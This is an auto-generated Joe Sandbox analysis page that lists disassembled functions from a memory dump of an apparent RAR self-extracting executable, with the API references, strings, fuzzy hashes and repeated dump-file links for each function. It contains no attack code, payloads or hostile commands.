Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID: exe$rar$rebuilt.$sfx
API String ID: 0-13699710
Opcode ID: 8e3ebe7a8d66413e607fdcd4a757441faa1c7bec7dcda609089eab4bf309717e
Instruction ID: c0db9e6e87fa74c7e87f067f4048f2b8a6792dd37261e52c9a3812035df79e9d
Opcode Fuzzy Hash: 8e3ebe7a8d66413e607fdcd4a757441faa1c7bec7dcda609089eab4bf309717e
Instruction Fuzzy Hash: 8A819831A0CE8285EA20FB25D4112F9A391FF897A4FC44535D96D176CAFE6DE60DCB20

Function 00007FF71D30E0C0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 164COMMON

Download Yara Rule

APIs

abort.LIBCMT ref: 00007FF71D30E0F4
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF71D30E1BC
RtlUnwindEx.KERNEL32 ref: 00007FF71D30E20B

Strings

f, xrefs: 00007FF71D30E13A
csm, xrefs: 00007FF71D30E1A2

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CurrentImageNonwritableUnwindabort
String ID: csm$f
API String ID: 3913153233-629598281
Opcode ID: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction ID: 4f9700873264c809865f7145eb8706c5c417e60a06aa60b8c83323a676fe3299
Opcode Fuzzy Hash: cb6d980e5d8e076ab593136caf69effa74300e2f691bd4e1b53b09370fd6a73c
Instruction Fuzzy Hash: 6761BE36B0DA42C6EB18FB15E440A79E795FB44BE4F948538DE1A17744EF38E8498B30

Function 00007FF71D2CEA18 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 79COMMON

Download Yara Rule

APIs

GetFileSecurityW.ADVAPI32(?,00007FF71D2CEBC2), ref: 00007FF71D2CEA7C
GetFileSecurityW.ADVAPI32(?,00007FF71D2CEBC2), ref: 00007FF71D2CEABC
GetSecurityDescriptorLength.ADVAPI32(?,00007FF71D2CEBC2), ref: 00007FF71D2CEB0A

Strings

, xrefs: 00007FF71D2CEAE3
ACL, xrefs: 00007FF71D2CEB39

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Security$File$DescriptorLength
String ID: $ACL
API String ID: 2361174398-1852320022
Opcode ID: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction ID: 2a8a9d31519d9625086a7ad01e0fcfcff218190b1520ccc39ee52252f5ac0a62
Opcode Fuzzy Hash: 99ab71e5ccbbe398f237f971ffe9b39aed517989f3bcccf534b2133dda1e344d
Instruction Fuzzy Hash: 7B315171A1DE8192E620EB11E4543EAE7A5FB88794FC04035DA9D43696FF3CE609CF50

Function 00007FF71D2B7188 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 62libraryloaderCOMMON

Download Yara Rule

APIs

CompareStringOrdinal.KERNEL32 ref: 00007FF71D2B722B

Part of subcall function 00007FF71D2D6754: GetVersionExW.KERNEL32 ref: 00007FF71D2D6785

GetModuleHandleW.KERNEL32(?,?,?,?,?,00007FF71D2B68EB), ref: 00007FF71D2B71CB
GetProcAddress.KERNEL32(?,?,?,?,?,00007FF71D2B68EB), ref: 00007FF71D2B71E0

Strings

kernel32.dll, xrefs: 00007FF71D2B71C4
CompareStringOrdinal, xrefs: 00007FF71D2B71D6

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressCompareHandleModuleOrdinalProcStringVersion
String ID: CompareStringOrdinal$kernel32.dll
API String ID: 2522007465-2120454788
Opcode ID: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction ID: 84e0d893cb0d8b15246af9b1cc1088bc69040eb99313969f9dc0cb7efd2ba7f3
Opcode Fuzzy Hash: 824e27df19e18241d1aa3afc9b2dae14d8d279d2568df75994383969d477b6a0
Instruction Fuzzy Hash: B7219431E0DF42C5EA14BB11A940174E291BF44BA0FD84139EA6D47694FFACE24D8B20

Function 00007FF71D2FBE3C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2FBC8C: FileTimeToLocalFileTime.KERNEL32 ref: 00007FF71D2FBCEF
Part of subcall function 00007FF71D2FBC8C: FileTimeToSystemTime.KERNEL32 ref: 00007FF71D2FBD68

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2FBEAE
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2FBED8

Strings

%u-%02u-%02u %02u:%02u:%02u,%09u, xrefs: 00007FF71D2FBE80
????-??-?? ??:??, xrefs: 00007FF71D2FBEDF
%u-%02u-%02u %02u:%02u, xrefs: 00007FF71D2FBEB8

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: Time$File$swprintf$LocalSystem
String ID: %u-%02u-%02u %02u:%02u$%u-%02u-%02u %02u:%02u:%02u,%09u$????-??-?? ??:??
API String ID: 1364621626-1794493780
Opcode ID: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction ID: 46131f2a39616e24af89422804701942f69eb4a5270f5e0816d1ce4f1cfe44db
Opcode Fuzzy Hash: c631e38674febfb764440a3499547548297e94e1d6d8b8a415d39587179a0b79
Instruction Fuzzy Hash: EF21F976E186418EE760DF64D480A9DB7F0F748794F944436EE5893B48EB38E9498F20

Function 00007FF71D3124D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF71D3124F4
GetProcAddress.KERNEL32 ref: 00007FF71D31250A
FreeLibrary.KERNEL32 ref: 00007FF71D31252F

Strings

CorExitProcess, xrefs: 00007FF71D312503
mscoree.dll, xrefs: 00007FF71D3124EB

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction ID: 6ff72bb0f853693850d9f18b4f0ed27ecbeb2970ea504098c57de6c97cb8602d
Opcode Fuzzy Hash: 62fc0dfec48af2956ca19e77247605bed92fa0407192cbb5e3de02daf22cabb6
Instruction Fuzzy Hash: CAF03175A1DE42C1EA45AB11F491279E361AF887A4F84103DEA4F46654FE3CD54C8A20

Function 00007FF71D31C654 Relevance: 7.8, APIs: 5, Instructions: 265COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction ID: f384bcfdcda129ee19b31e2d9f1b81fa2cf13ad646174824ce349cb183d19c4f
Opcode Fuzzy Hash: aecc19a358617ecaa8b6bbce6cc459dc0080c4c1e8e9e85a1fab47fbb6b6c597
Instruction Fuzzy Hash: A6A1B472B0CB83C6EB61AB6094503B9E691AF44BB4F984639DA5D067C5FF7CD44C8B20

Function 00007FF71D317AB4 Relevance: 7.7, APIs: 5, Instructions: 203COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF71D317AF9

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction ID: debe2996bda5a17badccd1bdb8f8748dfcef42eee1185f0e3671818f563fc3d5
Opcode Fuzzy Hash: d6b863787b9640c79ee2b1febadb7c504d9673d6b028f9ef991185c259ef8196
Instruction Fuzzy Hash: 018193B2E1CE13D5FB21AB6594806BDE6A0BB44B64F884139DD0E13795EF3C944ECB20

Function 00007FF71D317428 Relevance: 7.6, APIs: 5, Instructions: 142fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,00007FF71D317C5B), ref: 00007FF71D317485
WideCharToMultiByte.KERNEL32 ref: 00007FF71D317561
WriteFile.KERNEL32 ref: 00007FF71D317587
WriteFile.KERNEL32 ref: 00007FF71D3175C6
GetLastError.KERNEL32 ref: 00007FF71D3175FE

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiWide
String ID:
API String ID: 3659116390-0
Opcode ID: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction ID: 8cbe7ecc874a853a6efe7cb9e70719aab602fb1f4129297ff61a0c3c13544d4b
Opcode Fuzzy Hash: 96f561c31132e0ea19a5ef4c1750fe83e0f57ac60b3e80aac86a7179c63ec212
Instruction Fuzzy Hash: BB51C672A18E52C6EB11DF65D4443ACFB70BB447A8F584139DE4E47698EF38D14ACB20

Function 00007FF71D2C80C0 Relevance: 7.6, APIs: 5, Instructions: 118fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF71D2C814D
CharToOemA.USER32 ref: 00007FF71D2C81D8
WriteFile.KERNEL32 ref: 00007FF71D2C81FB
GetStdHandle.KERNEL32 ref: 00007FF71D2C8242
WriteConsoleW.KERNEL32 ref: 00007FF71D2C8266

Part of subcall function 00007FF71D2FD840: WideCharToMultiByte.KERNEL32 ref: 00007FF71D2FD871

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: CharHandleWrite$ByteConsoleFileMultiWide
String ID:
API String ID: 643171463-0
Opcode ID: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction ID: e1a2936362b95ebb7f677710f780810eb64629e8c097ae0877d54a0c661a69b2
Opcode Fuzzy Hash: 654297ad72194e14295c68420ac164d852ec9683f320a24142875de6632070b4
Instruction Fuzzy Hash: E241D671E1CE4282E920BB21A9012B9E291AF45BB0F844339DE7D176D5FE7CE54DCB60

Function 00007FF71D3169B4 Relevance: 7.6, APIs: 5, Instructions: 114libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF71D316AD6

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction ID: af664cf9af3df472091cef9f68db4ebe0b4582d2452837198d490d300a5870dc
Opcode Fuzzy Hash: 0e6eb9f6afd3336ef7fae7e3833685d0b95f626a5f44511e493326727d516b6b
Instruction Fuzzy Hash: A641C071B0DE02D1EA51AB86A800575E291BF08BB0F89853CDD5D4B784FE3CE00CDB60

Function 00007FF71D31DC20 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF71D31DC47
_set_statfp.LIBCMT ref: 00007FF71D31DC62
_set_statfp.LIBCMT ref: 00007FF71D31DC7E
_set_statfp.LIBCMT ref: 00007FF71D31DCBA

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction ID: ac8fdba5e3a328785a178e77400ca04bd7d0ea566ebc4952aa27417034e5f03b
Opcode Fuzzy Hash: 70895f6a6caca5a93f387097b68bfd30b7bf4dd7af3bc8c27b3038974be86bdd
Instruction Fuzzy Hash: AD118232E1CE0385F658312CF48A37AD1416F96370F845E3CE96E466D6FEACA4484A20

Function 00007FF71D2C7514 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 189COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF71D2FCD7C: MessageBeep.USER32(?,?,?,?,00007FF71D2CCA56,?,?,?,00007FF71D2FB9B7), ref: 00007FF71D2FCD9E

wcschr.LIBVCRUNTIME ref: 00007FF71D2C7597
wcschr.LIBVCRUNTIME ref: 00007FF71D2C768D

Strings

(, xrefs: 00007FF71D2C7754
[%c]%ls, xrefs: 00007FF71D2C7743

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D33A000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D344000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D34E000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645847555.00007FF71D356000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646107333.00007FF71D358000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1646150133.00007FF71D35E000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_72_2_7ff71d2b0000_rar.jbxd

Similarity

API ID: wcschr$BeepMessage
String ID: ($[%c]%ls
API String ID: 1408639281-228076469
Opcode ID: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction ID: cc12a99d203a259e41657c1cb060e535d71ef7b7686ab4bcb81bfd4a5a2f76b6
Opcode Fuzzy Hash: 4d02bf8f4ce93e39c77e0184eba1caa1a1f2233ef547ea100f5889751ce62d16
Instruction Fuzzy Hash: A981C432A1CE4182EE60EF15E4402BAE7A0FB84B98F940035EA5E47759FF7CE549CB10

Function 00007FF71D2D6FE0 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 185COMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2D7176
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF71D2D7221

Strings

%c%c%c%c%c%c%c, xrefs: 00007FF71D2D71E3
%c%c%c%c%c%c%c%c%c, xrefs: 00007FF71D2D716F

Memory Dump Source

Source File: 00000048.00000002.1645635451.00007FF71D2B1000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00007FF71D2B0000, based on PE: true

Associated: 00000048.00000002.1645601376.00007FF71D2B0000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645705847.00007FF71D320000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645747287.00007FF71D338000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000048.00000002.1645803986.00007FF71D339000.00000008.00000001.01000000.0000001A.sdmpDownload File
